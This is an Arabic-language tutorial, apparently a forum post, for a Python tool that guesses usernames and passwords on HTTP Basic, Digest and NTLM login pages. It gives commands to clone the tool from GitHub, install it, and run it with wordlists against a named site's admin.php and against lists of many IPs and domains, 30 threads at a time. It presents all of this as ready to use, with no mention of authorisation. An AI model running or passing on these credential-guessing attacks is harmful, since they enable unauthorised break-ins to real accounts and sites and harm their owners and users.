تخمين يوزر وباسورد صفحات البوب يدعم
- Basic HTTP authentication
- Digest HTTP authentication
- NTLM authentication يعمل بكافة الاشكال تقريبا ويستخدم قوائم ايبيهات دومينات ببورت بدون برابط او بدون يعمل اى بى واحد او مجموعة يستخدم يوزر واحد او مجموعة يوزرات او باسورد واحد او مجموعة ضخمة يخزن النتائج فى ملف نصي
قم بالبداية بتحميل هذا السكربت مباشرة على شاشة الروت ( الشاشة السوداء ) تمام
git clone --depth 1 https://github.com/palman2000/pop.git pop
أمر التركيب قم بتحديث نظام التشغيل ابنتوا
لتعمل لغة البرمجة بايثون الاصدار 3 وما فوق
sudo apt-get update sudo apt-get -y upgrade python3 -V sudo apt-get install -y python3-pip sudo apt-get pip python3 pip install -r requirements.txt
أمر التشغيل التجربة على هدف واحد
هذا الامر عند استخدام التجربة على هدف واحد واعرف اليوزر نيم وهو ادمن يبقى تجربة قائمة الباسوردات للعثور على الباسورد الصحيح python3 auth.py -t https://mohammadelnwajha.com/admin.php -u admin -P password.txt -w 30 --verbose
تجربة هدف واحد وتجربة ملف يوزرات وباسوردات للعثور على اليوزر والباسورد الصحيح للدخول
python3 auth.py -t https://mohammadelnwajha.com/admin.php -U username.txt -P password.txt -w 30 --verbose
امر التشغيل على مجموعة ايبيهات ودومينات من ملف الايبيهات ويؤخد قائمة يوزر وباسوردات من ملفات اليوزر والباسورد ويعمل بطاقة 30 عملية فى المرة الواحدة python3 auth.py -T IPS.txt -U username.txt -P password.txt -w 30 --verbose
أوامر السكربت
-t TARGET, --target TARGET URL
-T TARGETFILE, --targetfile TARGETFILE File of URL
-u USERNAME, --username USERNAME Username ("username" or "username:password")
-U USERNAMESFILE, --usernamesfile USERNAMESFILE File of usernames ("username" or "username:password")
-p PASSWORD, --password PASSWORD Password
-P PASSWORDSFILE, --passwordsfile PASSWORDSFILE File of passwords
-w WORKERS, --workers WORKERS Number of threads (interger between 1 and 100)
-o ORDER, --order ORDER Targets order ("serie" or "parallel")
-v, --verbose Verbose
مع تحيات ابو كريم